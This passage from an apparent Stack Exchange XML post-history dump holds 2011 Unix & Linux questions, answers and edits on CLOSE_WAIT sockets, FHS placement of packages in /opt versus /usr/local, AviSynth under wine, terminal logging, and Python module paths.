/proc/sys/net/ipv4/tcp_keepalive_time &#xD;&#xA;    7200&#xD;&#xA;&#xD;&#xA;So what gives?  If the timers have expired, shouldn't the stack automatically clear this stuff out?  I'm effectively giving myself a long-term DoS as these things build up.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24269" PostHistoryTypeId="6" PostId="10127" RevisionGUID="fcc1eb5f-2449-4d8c-b2aa-50e1628667ed" CreationDate="2011-03-26T02:10:23.510" UserId="3169" Comment="edited tags" Text="élinuxàédebianàéfhsàédirectoryöstructureà" />
  <row Id="24270" PostHistoryTypeId="5" PostId="10073" RevisionGUID="92883585-bb0e-4fe2-b16f-979e9c7530ae" CreationDate="2011-03-26T02:11:11.880" UserId="3519" Comment="added 45 characters in body" Text="Try [Linux HA][1] (High Availability). But don't ask me more. It's probably only one of several solutions. I don't know what's good and what's not, I just know that some workmates swore by it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linux-ha.org/wiki/Main_Page" />
  <row Id="24271" PostHistoryTypeId="2" PostId="10131" RevisionGUID="e3e55f48-44d2-405b-a1bd-b66d74846f37" CreationDate="2011-03-26T02:16:02.900" UserId="3169" Text="The [Filesystem Hierarchy Standard][1] gives these definitions:&#xD;&#xA;&#xD;&#xA; * `/opt` : Add-on application software packages &#xD;&#xA; * `/usr/local` : Local hierarchy (for use by the system administrator when installing software locally)&#xD;&#xA;&#xD;&#xA;The way I read that:&#xD;&#xA;&#xD;&#xA;  * Standard system applications should go in `/bin` and `/usr/bin` (implied)&#xD;&#xA;  * Third-party packages should go in `/opt`&#xD;&#xA;  * Something should only be installed into `/usr/local` if the system administrator wants it to&#xD;&#xA;&#xD;&#xA;By extension, if the sysadmin installs something using `dpkg` or `rpm`, it should not go into `/usr/local` by default.&#xD;&#xA;&#xD;&#xA;So it's arguably doing the right thing.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pathname.com/fhs/pub/fhs-2.3.html" />
  <row Id="24272" PostHistoryTypeId="2" PostId="10132" RevisionGUID="8d4e9b4d-f5dc-477b-8b3e-f7d981a86a70" CreationDate="2011-03-26T02:20:43.770" UserId="3169" Text="No, there is no timeout for `CLOSE_WAIT`, the application has to close it explicitly (or it will be closed when the process exits).&#xD;&#xA;&#xD;&#xA;See [How to break CLOSE_WAIT][1].&#xD;&#xA;&#xD;&#xA;If `netstat` is showing `-` in the process column:&#xD;&#xA;&#xD;&#xA; * are you running with the appropriate privileges and capabilities (e.g. as root)?&#xD;&#xA; * they could be kernel processes (e.g. nfsd)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sunmanagers.org/pipermail/summaries/2006-January/007068.html" />
  <row Id="24273" PostHistoryTypeId="5" PostId="10073" RevisionGUID="a05fdd0a-e3cf-4379-8603-13a82e9e5af5" CreationDate="2011-03-26T02:24:25.083" UserId="3519" Comment="added 137 characters in body" Text="Try [Linux HA][1] (High Availability) it is a freely available Linux cluster solution that works on several distributions.&#xD;&#xA;&#xD;&#xA;It's probably only one of several solutions. I don't know how it compares with others, or even what its specific features are, I just know that some workmates swore by it for serious commercial software.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linux-ha.org/wiki/Main_Page" />
  <row Id="24274" PostHistoryTypeId="5" PostId="10132" RevisionGUID="2870e230-fab6-4852-9b30-4c3e02ea6230" CreationDate="2011-03-26T02:29:59.630" UserId="3169" Comment="added 58 characters in body" Text="No, there is no timeout for `CLOSE_WAIT`.  I think that's what the `off` means in your output.&#xD;&#xA;&#xD;&#xA;To get out of `CLOSE_WAIT`, the application has to close the socket explicitly (or exit).  &#xD;&#xA;&#xD;&#xA;See [How to break CLOSE_WAIT][1].&#xD;&#xA;&#xD;&#xA;If `netstat` is showing `-` in the process column:&#xD;&#xA;&#xD;&#xA; * are you running with the appropriate privileges and capabilities (e.g. as root)?&#xD;&#xA; * they could be kernel processes (e.g. nfsd)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sunmanagers.org/pipermail/summaries/2006-January/007068.html" />
  <row Id="24275" PostHistoryTypeId="25" PostId="10129" RevisionGUID="68274f59-bc76-4dd8-85db-ce30e512a654" CreationDate="2011-03-26T02:31:40.393" Comment="http://twitter.com/#!/StackUnix/status/51471348211527681" />
  <row Id="24276" PostHistoryTypeId="2" PostId="10133" RevisionGUID="a529042b-a15d-4377-aa52-4d2b44014a76" CreationDate="2011-03-26T03:31:26.257" UserId="6058" Text="I use screen -R in gnome-terminal and, as you said, if 2 sessions are running at the same time, then gnome-terminal quits immediately.&#xD;&#xA;&#xD;&#xA;I solved it by running &#xD;&#xA;&#xD;&#xA;    sh -c &quot;screen -R || screen -D -RR&quot;&#xD;&#xA;this works just as you expect." />
  <row Id="24277" PostHistoryTypeId="25" PostId="10127" RevisionGUID="2464ee27-b452-4518-ab4b-2daa8a0434dd" CreationDate="2011-03-26T05:31:39.443" Comment="http://twitter.com/#!/StackUnix/status/51516642882093056" />
  <row Id="24278" PostHistoryTypeId="5" PostId="10120" RevisionGUID="da64ed6d-4319-4d33-af19-066d8dcb5fa2" CreationDate="2011-03-26T05:41:29.143" UserId="4520" Comment="Document potential users of ports without processes." Text="Close wait indicates that the client is closing the connection but the application hasn't closed it yet, or the client is not   You should identify which program(s) have this problem.  Try using `netstat -tonp 2&gt;&amp;1 | grep CLOSE` to determine which programs as holding the connections.&#xD;&#xA;&#xD;&#xA;EDIT: If there is not program, then the service is being provided by the kernel.  These are likely RPC services such as `nfs` or `rpc.lockd`.  Listening kernel services can be listed with `netstat -lntp 2&gt;&amp;1 | grep -- -`.  &#xD;&#xA;&#xD;&#xA;Unless the RPC services have  been bound to fixed ports, they will bind to ephemeral ports as your connections appear to show.  You may also want to check the processes and mounts on the other server.&#xD;&#xA;&#xD;&#xA;You can may be able to bind your NFS services to fixed ports by doing the following:&#xD;&#xA; - Select four unused ports for NFS (32763-32766 used here)&#xD;&#xA; - Add fixed ports for NFS to `/etc/services` &#xD;&#xA;    &lt;pre&gt;rpc.statd-bc    32763/udp                       # RCP statd broadcast&#xD;&#xA;    rpc.statd-bc    32763/tcp&#xD;&#xA;    rpc.statd       32764/udp                       # RCP statd listen&#xD;&#xA;    rpc.statd       32764/tcp&#xD;&#xA;    rpc.mountd      32765/udp                       # RPC mountd&#xD;&#xA;    rpc.mountd      32765/tcp&#xD;&#xA;    rpc.lockd       32766/udp                       # RPC lockd/nlockmgr&#xD;&#xA;    rpc.lockd       32766/tcp&lt;/pre&gt;&#xD;&#xA; - Configure statd to use the options `--port 32763 --outgoing-port 32764`&#xD;&#xA; - Configure rpcmountd to use the option --port 32765`&#xD;&#xA; - Shutdown and restart NFS and RPC services." />
  <row Id="24279" PostHistoryTypeId="2" PostId="10134" RevisionGUID="a8fd7876-c027-4ba4-aea3-6125b8e788eb" CreationDate="2011-03-26T06:52:25.723" UserId="2343" Text="I have a lot of [AviSynth scripts (.avs)](http://avisynth.org/) which create a montage of text pics and video, but until yesterday I'd had no luck running AviSynth scripts in 'wine'.  &#xD;&#xA;I read about a 'Windows' program called [Avs2YUV](http://akuvian.org/src/avisynth/avs2yuv/) which, according to [wineHQ](http://appdb.winehq.org/objectManager.php?sClass=application&amp;iId=11549), is *platinum* and is &quot;intended for use under Wine to interface between Avisynth and Linux-based video tools&quot;.  &#xD;&#xA;    &#xD;&#xA;I've had *partial* success with a couple of *very simple* scripts, but &quot;partial&quot; means I don't know how to use it properly, or the AviSynth-Avs2YUV combo doesn't work properly (or both).  &#xD;&#xA;&#xD;&#xA;Below, are 2 scripts:  &#xD;&#xA;The first one outputs and saves video only (as intended), but I'd like to know if it is possible to pipe Avs2YUV's stdout directly into a Linux media player... I've tried a few options, but nothing seems to work. On the other hand, the saved .264 file does play, so AviSynth and Avs2YUV are doing something right here.  (*A quick pre-posting EDIT*: I've just corrected a typo where I had put .avi instead of .264, and I realized that I really don't know what x264 does (I'm so used to avi encoding, but I have this feeling that it may be video-only encoder???? ... so I'll mention it now, I have no particular interest in x246.. It was in the example I followed.. I just want to produce a playable video+audio .. the wrapper and codecs aren't particularly important to me.. I'm happy with avi.. actually I prefer it because it works well with AviSynth.. Catch-22...&#xD;&#xA;&#xD;&#xA;The second one behaves very much as the first one, but it produces no audio; which it should.   &#xD;&#xA;&#xD;&#xA;AviSynth scripts are well known, and are directly playable by many players (in Windows), but with this need to use Avs2YUY, I'm somewhat in unknown territory...  &#xD;&#xA;   &#xD;&#xA;I'd appreciate some pointers on these two issues, and perhaps there is an entirely different way to use AviSynth in wine, other than in conjunction with Avs2YUV... or is the idea of using AviSynth in Linux just a myth?     &#xD;&#xA;&#xD;&#xA;Here are the scripts:  &#xD;&#xA; &#xD;&#xA;    # Script-1: The saved file plays fine (the source has no audio),&#xD;&#xA;    #            but how can I play it directly&#xD;&#xA;    #&#xD;&#xA;    cd $HOME/.wine/drive_c&#xD;&#xA;    echo 'version()' &gt; version.avs&#xD;&#xA;    wine  avs2yuv.exe  version.avs - \&#xD;&#xA;        | x264 --stdin y4m --output version.264 -&#xD;&#xA;    mplayer version.264&#xD;&#xA;    #&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;    # Script-2: The saved file has no audio, but it should.&#xD;&#xA;    #        ...and like Script-1, how can I play it directly&#xD;&#xA;    cd $HOME/.wine/drive_c&#xD;&#xA;    echo 'avisource(&quot;video.avi&quot;)' &gt; video.avs&#xD;&#xA;    wine  avs2yuv.exe  video.avs - \&#xD;&#xA;        | x264 --stdin y4m --output video.264 -&#xD;&#xA;    mplayer video.264&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24280" PostHistoryTypeId="1" PostId="10134" RevisionGUID="a8fd7876-c027-4ba4-aea3-6125b8e788eb" CreationDate="2011-03-26T06:52:25.723" UserId="2343" Text="How to use 'wine' and AviSynth and Avs2YUV with 'mplayer/mencoder' (or any player/encoder)" />
  <row Id="24281" PostHistoryTypeId="3" PostId="10134" RevisionGUID="a8fd7876-c027-4ba4-aea3-6125b8e788eb" CreationDate="2011-03-26T06:52:25.723" UserId="2343" Text="éwineàévideoöeditingà" />
  <row Id="24282" PostHistoryTypeId="2" PostId="10135" RevisionGUID="5a7a85b8-7772-46a0-838f-9cb4962c4e63" CreationDate="2011-03-26T07:52:27.300" UserId="6061" Text="Here's my situation: I open terminal and run program which displays live feed in terminal (text) what changes every second. Only &quot;Enter&quot; key can be used while this program is running (it exits that program). So you can't type anything else into console.&#xD;&#xA;&#xD;&#xA;I would like to write that terminal contents into a file, like after every second.&#xD;&#xA;&#xD;&#xA;How do I do it? By opening 2nd console and using some command? Can't get it work with setterm -dump command.&#xD;&#xA;" />
  <row Id="24283" PostHistoryTypeId="1" PostId="10135" RevisionGUID="5a7a85b8-7772-46a0-838f-9cb4962c4e63" CreationDate="2011-03-26T07:52:27.300" UserId="6061" Text="How to write terminal contents into a file" />
  <row Id="24284" PostHistoryTypeId="3" PostId="10135" RevisionGUID="5a7a85b8-7772-46a0-838f-9cb4962c4e63" CreationDate="2011-03-26T07:52:27.300" UserId="6061" Text="éterminalà" />
  <row Id="24285" PostHistoryTypeId="2" PostId="10136" RevisionGUID="94e3fb59-616e-4743-ab9a-52efd82b15ec" CreationDate="2011-03-26T07:57:54.147" UserId="250" Text="How about running the program like this:&#xD;&#xA;&#xD;&#xA;    program &gt; /path/to/file&#xD;&#xA;&#xD;&#xA;This redirects the output of `program` to `/path/to/file` instantly.&#xD;&#xA;&#xD;&#xA;And if you want to have the output in your terminal, as well as save it into a file. Check out [Is there a way in bash to redirect output and still have it go to stdout?](http://unix.stackexchange.com/q/4195/250)" />
  <row Id="24286" PostHistoryTypeId="25" PostId="10135" RevisionGUID="65ea7a06-279c-4f18-bb39-9454333f6609" CreationDate="2011-03-26T08:31:39.987" Comment="http://twitter.com/#!/StackUnix/status/51561943345012737" />
  <row Id="24287" PostHistoryTypeId="2" PostId="10137" RevisionGUID="6ca5c19b-49a6-4f32-8b4c-fb49d57d7283" CreationDate="2011-03-26T08:41:05.797" UserId="250" Text="There are a couple of other ways to set the terminal which work in running processes:&#xD;&#xA;&#xD;&#xA; - In a running screen instance, pressing `^A`-`:` and issuing the command `term xterm` will cause *newly opened* screens under that instance to start with their `$TERM` environment variable set to `xterm`; this will in turn propagate to invoked `vim` instances.  These vim instances will display proper behaviour with regard to CTRL-combos; I've not yet discovered any side effects of this strategy.  This command does not affect existing screens.  This command can of course be used in a `~/.screenrc` file, so it's possible that this method was used on the other machine.&#xD;&#xA;&#xD;&#xA; - In a running vim instance, the command `set term=xterm` will make CTRL-combos work in that vim instance.  This has the side effect of disconnecting the X clipboard (i.e. `@*` and `@+`) for reasons that I do not yet understand.  Interestingly, the clipboard side effect also happens when the command `:set term=screen` is executed in a vim instance started with `$TERM=xterm`." />
  <row Id="24288" PostHistoryTypeId="5" PostId="6992" RevisionGUID="bd3a68ce-93b7-47bb-80c0-75655d203184" CreationDate="2011-03-26T08:41:52.083" UserId="250" Comment="Remove answer part to put in an answer" Text="When running vim under GNU screen, I'm finding that combinations of &lt;kbd&gt;CTRL&lt;/kbd&gt; with the arrow and Pg* keys don't work as expected.&#xD;&#xA;&#xD;&#xA;I'm using the Ubuntu 10.10 `vim-gnome` package.&#xD;&#xA;&#xD;&#xA;On a different machine, also running Ubuntu, this did work without problems; unfortunately I don't have that configuration available to me now.&#xD;&#xA;&#xD;&#xA;There is a related question here: http://unix.stackexchange.com/questions/1709/how-to-fix-ctrl-arrows-in-vim&#xD;&#xA;&#xD;&#xA;However, the suggested solution there is to remap vim's keybindings to work with the terminal emulator, in that case PuTTY.  I don't recall doing anything of the sort, and suspect that there is a screen configuration option which will resolve this issue.&#xD;&#xA;&#xD;&#xA;There's also a [thread](http://old.nabble.com/Problem-with-GNU-Screen-when-using-control-%2B-right-left-arrows-td26678971.html) on the gnu-screen mailing list which suggests that running vim via `$ TERM=xterm vim` is an appropriate fix or workaround.  This does work, but I'm a bit concerned that there might be side effects.  It also doesn't sound familiar enough to be the solution I set up on the other machine (if a solution was necessary)." />
  <row Id="24289" PostHistoryTypeId="2" PostId="10138" RevisionGUID="1f4d4240-ab76-4b05-b448-299f43454f61" CreationDate="2011-03-26T08:48:01.050" UserId="4671" Text="[Debian Policy](http://www.debian.org/doc/debian-policy/ch-opersys.html#s9.1) says&#xD;&#xA;&#xD;&#xA;&gt; 9.1.2 Site-specific programs&#xD;&#xA;&#xD;&#xA;&gt; As mandated by the FHS, packages must not place any files in /usr/local, either by &gt; putting them in the file system archive to be unpacked by dpkg or by manipulating &gt; them in their maintainer scripts.&#xD;&#xA;&#xD;&#xA;There is no such specific prohibition against /opt. Policy also adds&#xD;&#xA;&#xD;&#xA;&gt; The location of all installed files and directories must comply with the &#xD;&#xA;&gt; Filesystem Hierarchy Standard (FHS), version 2.3, with the exceptions noted below, &#xD;&#xA;&gt; and except where doing so would violate other terms of Debian Policy.&#xD;&#xA;&#xD;&#xA;and the [File Hierarchy Standard](http://www.debian.org/doc/packaging-manuals/fhs/fhs-2.3.html#OPTADDONAPPLICATIONSOFTWAREPACKAGES) says&#xD;&#xA;&#xD;&#xA;&gt; The directories /opt/bin, /opt/doc, /opt/include, /opt/info, /opt/lib, and /opt/man &gt; are reserved for local system administrator use.&#xD;&#xA;&#xD;&#xA;and then further down&#xD;&#xA;&#xD;&#xA;&gt; Distributions may install software in&#xD;&#xA;&gt; /opt, but must not modify or delete&#xD;&#xA;&gt; software installed by the local system&#xD;&#xA;&gt; administrator without the assent of&#xD;&#xA;&gt; the local system administrator.&#xD;&#xA;&#xD;&#xA;Note that Policy is for Debian itself, but it generally corresponds to a best bractice recommendation. The upshot, if I am reading this correctly, is that it is not Ok to install binary (deb) packages to /usr/local, but it is Ok to install in /opt as long as it does not interfere with the sysadmin's use of the space.&#xD;&#xA;&#xD;&#xA;My personal opinion is that it is a bad idea to have deb packages in either /usr/local or /opt. I disagree with D4RIO when he says&#xD;&#xA;&#xD;&#xA;&gt; There is a couchdb package for debian (I mean, official), so if you downloaded &#xD;&#xA;&gt; another, it's Ok, it must be installed in /opt or /usr/local/bin either.&#xD;&#xA;&#xD;&#xA;You don't generally want two different deb packages corresponding to the same software installed, and if they are actually the same package name, dpkg won't allow it anyway. Unofficial Debian packages of software available as an official package commonly (but not always) have the same name as the official ones; you just install one or the other, not both.&#xD;&#xA;&#xD;&#xA;For what it is worth, I think putting deb packages in /opt is a bad idea, and the only recent occurrence of this I've seen is with Google Chrome. But those Google people tend to be a bit wacky." />
  <row Id="24290" PostHistoryTypeId="5" PostId="10138" RevisionGUID="d13eb590-d5ff-401d-926c-f46504233970" CreationDate="2011-03-26T08:53:02.793" UserId="4671" Comment="added 21 characters in body" Text="[Debian Policy](http://www.debian.org/doc/debian-policy/ch-opersys.html#s9.1) says&#xD;&#xA;&#xD;&#xA;&gt; 9.1.2 Site-specific programs&#xD;&#xA;&gt; &#xD;&#xA;&gt; As mandated by the FHS, packages must&#xD;&#xA;&gt; not place any files in /usr/local,&#xD;&#xA;&gt; either by  putting them in the file&#xD;&#xA;&gt; system archive to be unpacked by dpkg&#xD;&#xA;&gt; or by manipulating them in their&#xD;&#xA;&gt; maintainer scripts.&#xD;&#xA;&#xD;&#xA;There is no such specific prohibition against /opt. Policy also adds&#xD;&#xA;&#xD;&#xA;&gt; The location of all installed files and directories must comply with the &#xD;&#xA;&gt; Filesystem Hierarchy Standard (FHS), version 2.3, with the exceptions noted below, &#xD;&#xA;&gt; and except where doing so would violate other terms of Debian Policy.&#xD;&#xA;&#xD;&#xA;and the [File Hierarchy Standard](http://www.debian.org/doc/packaging-manuals/fhs/fhs-2.3.html#OPTADDONAPPLICATIONSOFTWAREPACKAGES) says&#xD;&#xA;&#xD;&#xA;&gt; The directories /opt/bin, /opt/doc,&#xD;&#xA;&gt; /opt/include, /opt/info, /opt/lib, and&#xD;&#xA;&gt; /opt/man are reserved for local system&#xD;&#xA;&gt; administrator use.&#xD;&#xA;&#xD;&#xA;and then further down&#xD;&#xA;&#xD;&#xA;&gt; Distributions may install software in&#xD;&#xA;&gt; /opt, but must not modify or delete&#xD;&#xA;&gt; software installed by the local system&#xD;&#xA;&gt; administrator without the assent of&#xD;&#xA;&gt; the local system administrator.&#xD;&#xA;&#xD;&#xA;Note that Policy is for Debian itself, but it generally corresponds to a best bractice recommendation. The upshot, if I am reading this correctly, is that it is not Ok to install binary (deb) packages to /usr/local, but it is Ok to install in /opt as long as it does not interfere with the sysadmin's use of the space.&#xD;&#xA;&#xD;&#xA;My personal opinion is that it is a bad idea to have deb packages in either /usr/local or /opt. I disagree with D4RIO when he says&#xD;&#xA;&#xD;&#xA;&gt; There is a couchdb package for debian (I mean, official), so if you downloaded &#xD;&#xA;&gt; another, it's Ok, it must be installed in /opt or /usr/local/bin either.&#xD;&#xA;&#xD;&#xA;You don't generally want two different deb packages corresponding to the same software installed, and if they are actually the same package name, dpkg won't allow it anyway. Unofficial Debian packages of software available as an official package commonly (but not always) have the same name as the official ones; you just install one or the other, not both.&#xD;&#xA;&#xD;&#xA;For what it is worth, I think putting deb packages in /opt is a bad idea, and the only recent occurrence of this I've seen is with Google Chrome. But those Google people tend to be a bit wacky." />
  <row Id="24291" PostHistoryTypeId="2" PostId="10139" RevisionGUID="9ec17cd6-7a73-4d28-aaca-ebc2da0a4675" CreationDate="2011-03-26T08:58:54.837" UserId="4671" Text="You could use [GNU screen](http://www.gnu.org/software/screen/), along with its [logging functionality](http://www.gnu.org/software/screen/manual/screen.html#Logging)." />
  <row Id="24292" PostHistoryTypeId="5" PostId="10139" RevisionGUID="274e0882-d976-4ad7-8c04-8bee8f203831" CreationDate="2011-03-26T09:09:36.173" UserId="4671" Comment="added 430 characters in body" Text="You could use [GNU screen](http://www.gnu.org/software/screen/), along with its [logging functionality](http://www.gnu.org/software/screen/manual/screen.html#Logging). Note also that the&#xD;&#xA;`logfile flush secs` command allows you to control how often the output is flushed to disk. From the Screen User's Manual:&#xD;&#xA;&#xD;&#xA;&gt; — Command: logfile flush secs&#xD;&#xA;&gt; &#xD;&#xA;&gt; Defines the name the log files will&#xD;&#xA;&gt; get. The default is ‘screenlog.%n’.&#xD;&#xA;&gt; The second form changes the number of&#xD;&#xA;&gt; seconds screen will wait before&#xD;&#xA;&gt; flushing the logfile buffer to the&#xD;&#xA;&gt; file-system. The default value is 10&#xD;&#xA;&gt; seconds.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24293" PostHistoryTypeId="2" PostId="10140" RevisionGUID="b6193739-b28f-407d-8822-9a6e5010cb55" CreationDate="2011-03-26T09:22:23.983" UserId="6062" Text="I would like to see what is going on at TTY1 ( the console i was booting from )&#xD;&#xA;while i am now on TTY7 running X11 with KDE4. without switching to TTY1 (ALT-CTRL-F1)&#xD;&#xA;&#xD;&#xA;I would like to see it inside KDE's Konsole, if possible.&#xD;&#xA;( Have TTY1 redirected into Konsole. sort of. including all boot history that was scrolling down while i was booting )&#xD;&#xA;&#xD;&#xA;Is that possible?&#xD;&#xA;" />
  <row Id="24294" PostHistoryTypeId="1" PostId="10140" RevisionGUID="b6193739-b28f-407d-8822-9a6e5010cb55" CreationDate="2011-03-26T09:22:23.983" UserId="6062" Text="How to redirect TTY1 to an X11 (KDE) Konsule shell?" />
  <row Id="24295" PostHistoryTypeId="3" PostId="10140" RevisionGUID="b6193739-b28f-407d-8822-9a6e5010cb55" CreationDate="2011-03-26T09:22:23.983" UserId="6062" Text="éterminalàékdeàéx11àéttyàékonsoleà" />
  <row Id="24296" PostHistoryTypeId="2" PostId="10141" RevisionGUID="b277a3aa-99ff-43fe-b9b1-e3c91344a1a4" CreationDate="2011-03-26T09:33:29.980" UserId="5666" Text="`live-f1` redraws the screen with new data by using terminal control characters (ncurses), just like `top` or `mtr`. That's why you see all this junk when redirecting to a file or non terminal device.&#xD;&#xA;&#xD;&#xA;Unfortunately, `live-f1` doesn't provide an option for getting output appropriate to save and later extract data for statistics and such. If you still want to save the output for replaying it later, you can use `script`.&#xD;&#xA;&#xD;&#xA;This will record live-f1 and create two files, typescript and timingfile.&#xD;&#xA;&#xD;&#xA;    script -c live-f1 -t 2&gt; timingfile&#xD;&#xA;&#xD;&#xA;This will replay the output&#xD;&#xA;&#xD;&#xA;    scriptreplay timingfile&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24297" PostHistoryTypeId="4" PostId="10140" RevisionGUID="82a4bea0-6979-4be4-abdd-0aea0f5b1718" CreationDate="2011-03-26T09:57:14.033" UserId="29" Comment="correct spelling" Text="How to redirect TTY1 to an X11 (KDE) Konsole shell?" />
  <row Id="24298" PostHistoryTypeId="2" PostId="10142" RevisionGUID="70fd8cff-3832-4457-8d9e-6d5e4bc36a80" CreationDate="2011-03-26T10:30:25.633" UserId="4671" Text="(Please correct errors and omissions as necessary. Thanks.)&#xD;&#xA;&#xD;&#xA;First, a question and a comment. I don't use SUSE, so take this with a pinch of salt. Are the packages that install in /usr/lib/python2.6/site-packages official packages? If so, SUSE is broken, so that is not likely. If they are not official packages, you could either ask the packagers to use the standard paths, or, alternatively, you could&#xD;&#xA;submit a wishlist bug to SUSE asking them to support this additional path. This will save you and other people additional headaches.&#xD;&#xA;&#xD;&#xA;For the moment, you have the following possibilies, in order of descreasing scope:&#xD;&#xA;&#xD;&#xA;1) Change the module search path in the Python installation.&#xD;&#xA;&#xD;&#xA; The default module search path is hardwired into the binary. Addon paths can be configured for example in the site.py file. For example, Debian uses /usr/lib/python2.6/site.py (for the default python 2.6 installation) to do its site-specific configuration. At the top of the file is written&#xD;&#xA;&#xD;&#xA;    Append module search paths for third-party packages to sys.path.&#xD;&#xA;    &#xD;&#xA;    ****************************************************************&#xD;&#xA;    * This module is automatically imported during initialization. *&#xD;&#xA;    ****************************************************************&#xD;&#xA;    [...]&#xD;&#xA;    &#xD;&#xA;    This will append site-specific paths to the module search path.&#xD;&#xA;&#xD;&#xA;The Debian patch debian/patches/site-locations.diff says&#xD;&#xA;&#xD;&#xA;&gt; For Debian and derivatives, this&#xD;&#xA;&gt; sys.path is augmented with directories&#xD;&#xA;&gt; for packages distributed within the&#xD;&#xA;&gt; distribution. Local addons go into&#xD;&#xA;&gt; /usr/local/lib/python&lt;version&gt;/dist-packages,&#xD;&#xA;&gt; Debian addons install into&#xD;&#xA;&gt; /usr/{lib,share}/python&lt;version&gt;/dist-packages.&#xD;&#xA;&gt; /usr/lib/python&lt;version&gt;/site-packages&#xD;&#xA;&gt; is not used.&#xD;&#xA;&#xD;&#xA;The patch in question is&#xD;&#xA;&#xD;&#xA;                sitedirs.append(os.path.join(prefix, &quot;Lib&quot;, &quot;site-packages&quot;))&#xD;&#xA;             elif os.sep == '/':&#xD;&#xA;    +            sitedirs.append(os.path.join(prefix, &quot;local/lib&quot;,&#xD;&#xA;    +                                        &quot;python&quot; + sys.version[:3],&#xD;&#xA;    +                                        &quot;dist-packages&quot;))&#xD;&#xA;                 sitedirs.append(os.path.join(prefix, &quot;lib&quot;,&#xD;&#xA;                                             &quot;python&quot; + sys.version[:3],&#xD;&#xA;    -                                        &quot;site-packages&quot;))&#xD;&#xA;    -            sitedirs.append(os.path.join(prefix, &quot;lib&quot;, &quot;site-python&quot;))&#xD;&#xA;    +                                        &quot;dist-packages&quot;))&#xD;&#xA;    +            sitedirs.append(os.path.join(prefix, &quot;lib&quot;, &quot;dist-python&quot;))&#xD;&#xA;             else:&#xD;&#xA;                 sitedirs.append(prefix)&#xD;&#xA;                 sitedirs.append(os.path.join(prefix, &quot;lib&quot;, &quot;site-packages&quot;))&#xD;&#xA;&#xD;&#xA;So you could modify the site.path in your system package to produce a modified module search path. You probably don't want to this, though. For one thing, you will have to merge this in on every update of your distribution's python package.&#xD;&#xA;&#xD;&#xA;2) Change the module search path for all users&#xD;&#xA;&#xD;&#xA;The environment variable PYTHONPATH is normally used to override the system path at user level. You can put it in a file which will be sourced by all users. Eg. in Debian we have /etc/bash.bashrc, which says at the top&#xD;&#xA;&#xD;&#xA;    # System-wide .bashrc file for interactive bash(1) shells.&#xD;&#xA;    &#xD;&#xA;    # To enable the settings / commands in this file for login shells as well,&#xD;&#xA;    # this file has to be sourced in /etc/profile.&#xD;&#xA;&#xD;&#xA;So you could update PYTHONPATH there. You probably want it to be sourced for both login and interactive shells, so you'll want to check on that. Unfortunately, distributions are often flaky about enabling this.&#xD;&#xA;&#xD;&#xA;3) Change the module path per user.&#xD;&#xA;&#xD;&#xA;The usual way is to change PYTHONPATH in the user's bashrc, namely ~/.bashrc. Again, check that it is sourced for both login and interactive shells.&#xD;&#xA;&#xD;&#xA;4) Change on a per script basis. This is done by appending to sys.path, namely&#xD;&#xA;&#xD;&#xA;    import sys&#xD;&#xA;    sys.path.append(some_additional_path)&#xD;&#xA;&#xD;&#xA;This will only work for the script that is importing this. This is normally used, as far as I know, for casual use, when importing modules in nonstandard locations, like from somewhere in a home directory.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24299" PostHistoryTypeId="5" PostId="10142" RevisionGUID="250ef723-69dd-4099-89d6-6243e631401c" CreationDate="2011-03-26T10:36:30.577" UserId="4671" Comment="added 475 characters in body" Text="(Please correct errors and omissions as necessary. Thanks.)&#xD;&#xA;&#xD;&#xA;First, a question and a comment. I don't use SUSE, so take this with a pinch of salt. Are the packages that install in /usr/lib/python2.6/site-packages official packages? If so, SUSE is broken, so that is not likely. If they are not official packages, you could either ask the packagers to use the standard paths, or, alternatively, you could&#xD;&#xA;submit a wishlist bug to SUSE asking them to support this additional path. This will save you and other people additional headaches.&#xD;&#xA;&#xD;&#xA;For the moment, you have the following possibilies, in order of descreasing scope:&#xD;&#xA;&#xD;&#xA; 1. Change the module search path in the&#xD;&#xA;    Python installation.&#xD;&#xA;    &#xD;&#xA;    The default module search path is&#xD;&#xA;    hardwired into the binary. Addon&#xD;&#xA;    paths can be configured for example&#xD;&#xA;    in the site.py file. For example,&#xD;&#xA;    Debian uses&#xD;&#xA;    /usr/lib/python2.6/site.py (for the&#xD;&#xA;    default python 2.6 installation) to&#xD;&#xA;    do its site-specific configuration.&#xD;&#xA;    At the top of the file is written&#xD;&#xA;    &#xD;&#xA;        Append module search paths for third-party packages to sys.path.&#xD;&#xA;        &#xD;&#xA;        ****************************************************************&#xD;&#xA;        * This module is automatically imported during initialization. *&#xD;&#xA;        ****************************************************************&#xD;&#xA;        [...]&#xD;&#xA;        &#xD;&#xA;        This will append site-specific paths to the module search path.&#xD;&#xA;    &#xD;&#xA;    The Debian patch&#xD;&#xA;    debian/patches/site-locations.diff&#xD;&#xA;    says&#xD;&#xA;    &#xD;&#xA;    &gt; For Debian and derivatives, this&#xD;&#xA;    &gt; sys.path is augmented with directories&#xD;&#xA;    &gt; for packages distributed within the&#xD;&#xA;    &gt; distribution. Local addons go into&#xD;&#xA;    &gt; /usr/local/lib/python&lt;version&gt;/dist-packages,&#xD;&#xA;    &gt; Debian addons install into&#xD;&#xA;    &gt; /usr/{lib,share}/python&lt;version&gt;/dist-packages.&#xD;&#xA;    &gt; /usr/lib/python&lt;version&gt;/site-packages&#xD;&#xA;    &gt; is not used.&#xD;&#xA;    &#xD;&#xA;    The patch in question is&#xD;&#xA;    &#xD;&#xA;                    sitedirs.append(os.path.join(prefix,&#xD;&#xA;    &quot;Lib&quot;, &quot;site-packages&quot;))&#xD;&#xA;                 elif os.sep == '/':&#xD;&#xA;        +            sitedirs.append(os.path.join(prefix,&#xD;&#xA;    &quot;local/lib&quot;,&#xD;&#xA;        +                                        &quot;python&quot; + sys.version[:3],&#xD;&#xA;        +                                        &quot;dist-packages&quot;))&#xD;&#xA;                     sitedirs.append(os.path.join(prefix,&#xD;&#xA;    &quot;lib&quot;,&#xD;&#xA;                                                 